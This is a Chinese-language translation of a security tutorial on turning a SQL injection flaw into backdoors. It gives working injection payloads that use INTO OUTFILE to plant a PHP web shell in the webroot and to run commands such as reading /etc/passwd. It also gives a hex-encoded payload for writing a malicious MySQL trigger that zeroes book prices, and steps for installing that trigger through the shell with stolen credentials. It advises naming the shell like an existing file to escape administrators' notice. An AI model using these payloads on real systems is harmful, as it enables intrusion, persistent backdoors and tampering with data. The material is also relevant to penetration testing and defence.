原文地址:http://resources.infosecinstitute.com/backdoor-sql-injection/
在读本文之前应该参考http://resources.infosecinstitute.com/blind-sql-injection/
本文的目的是通过sql注入漏洞来执行任意命令。为了运行OS命令,我们需要有一个命令行shell(CMD),或者运行允许我们执行命令的代码。
一)获得一个OS shell
我们希望插入我们的PHP代码,所以我们可以允许shell命令。为了这么做,我们使用mysql提供的INTO OUTFILE特性。使用INTO OUTFILE,可以将查询的输出导入到操作系统上的一个文件中。所以记住,我们给定输入Harry Potter’ union select ‘TEXT INTO FILE’,2,3 INTO OUTFILE ‘/tmp/blah.txt’#,字符串文本‘TEXT INTO FILE’将会存储在/tmp文件夹中的blah.txt文件中。
现在我们使用PHP代码来代替“TEXT INTO FILE”,这些PHP代码将会从url中读取一个参数,使用它作为输入然后在操作系统中运行命令。我们给定输入Harry Potter’ union select “<? system($_REQUEST['cmd']); ?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’#
下一步,稍微改变一下查询语句‘ union select “<? system($_REQUEST['cmd']); ?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’# 并且重新运行:
看起来好多了,尽管我们仍然显示2,3
让我们访问execcmd.php页面并且传入我们想要执行的命令cat /etc/passwd
一些需要注意的地方:
1. 执行查询语句的数据库用户必须有写文件的权限,否则不能使用INTO OUTFILE命令
2. 在webroot中必须有一个MySql可以写入的文件夹;否则不能访问上传的shell。可以写到任何一个可写的文件夹,但是有可能没办法访问它
也可以使用sqlmap来实现
运行一个命令
值得注意的一点:当webshell创建后,在webroot中使用一个与已经存在的文件名相似的名字。这有可能帮助你躲开粗心的管理员。
下面的介绍sqlmap到底做了些什么,可以通过一个代理来运行sqlmap:
Forward一些请求,直到web shell上传到一个可写的文件夹,看看query语句。
看一下底部中蓝色高亮部分,事实证明sqlmap使用INTO OUTFILE命令
最后来看一下sqlmap上传的web shell。
二)一个数据库后门
既然我们知道如果应用程序含有SQL漏洞那么可以植入一个OS后门可以。现在我们看看如何在数据库中植入一个后门,我们需要了解一点关于后门运行的背景知识。在OS后门,我们直接访问后门并且传入要执行的命令,它更直观一些。每次insert操作发生时,我们配置的后门将会改变一些数据库中一些敏感数据的值。因此我们需要在数据库中含有trigger。它的基本意思是-当我们想让某事发生时,激发trigger,然后做另外一些事。这个很模糊,所以举一个例子。假如你是一个警察,当你看见一个连环杀手,你扣动扳机,然后发射子弹。所以对应于我们的例子,有一个insert(杀手)导致数据库的trigger被激发(扳机),然后你配置的动作(子弹)发生。
这是一个sql的trigger:
delimiter # CREATE TRIGGER price BEFORE INSERT ON books for each row begin set new.price='0'; end;# delimiter ;
这段代码的意思是:
1)设置sql的分隔符为#,这是因为默认的分隔符是;并且被认为是一个sql中的特殊字符。然而我们需要把它当作数据。所以我们需要改为#
2)当发生一个insert操作,例如增加一本新书,把它的价格设为0
3)结束trigger,并把分隔符设会;
trigger的代码需要运行,所以我们需要把代码放入服务器。
让我们首先使用sql注入漏洞来把trigger拷贝到server上。
Harry Potter’ AND 1=0 union select 0×20,0×20,0×20 INTO OUTFILE ‘/var/www/test/g2′ LINES TERMINATED BY 0x64656c696d6974657220230a4352454154452054524947474552207072696365204245464
f524520494e53455254204f4e20626f6f6b730a666f72206561636820726f7720626567696e0a7
36574206e65772e70726963653d2730273b0a656e643b230a64656c696d69746572203b#
它看似复杂,实际则不然。我们使用1=0因为我们对Harry Potter的查询结果不感兴趣。select 0x20仅仅是select三次空格;这样才能把我需要的东西写入到/var/www/test/g/2(避免语义错误)。LINES TERMINATED BY后面的bit是十六进制的所有trigger(使用burp decoder,不要手动来做)
运行命令,查看/var/www/test/g2文件
注意到开始时三个空格了吗,那是因为之前的select 0×20,0×20,0×20。
有三种办法可以激活trigger:
1)Stacked queries – Harry Potter’ UNION blah blah blah; source /var/www/test/g2
然而PHP-MySQL不支持这种工作方式
2)滥用MySql默认trigger行为
参考http://blog.mindedsecurity.com/2010/04/mysql-stacked-queries-with-sql.html
3)使用sqlmap之类的工具来运行/var/www/test/g2中的trigger
让我们来运行sqlmap,获得一个sql shell来运行trigger
最后一行,只有当支持 stacked query时才能使用这种方法。这意味着1,3是一种情况。让我们通过sqlmap proxy来确认。
在sql-shell中create database boo;来创建一个新的table,然后查看burp:
正如我们所见,它试图解释成select语句,这个是不争取的,Burp的应答为证
另一种方法包含如下步骤:
1. 获取一个合法用户的密码,例如root和test123
2. 注入一个OS web shell后门
3. 注入trigger到另一个文件
4. 通过webshell用mysql命令行运行和安装trigger
下图显示当前数据库没有trigger
假如现在我获得user/password为root/toor,现在我们访问web shell,传递如下命令
mysql -u<USERNAME> -p<PASSWORD> <DB NAME> < /var/www/test/g2
再次检查数据库
我们的trigger出现了
运行一个inster操作来检查我们的trigger是否工作
运行query
看最后一行,我们的trigger执行了。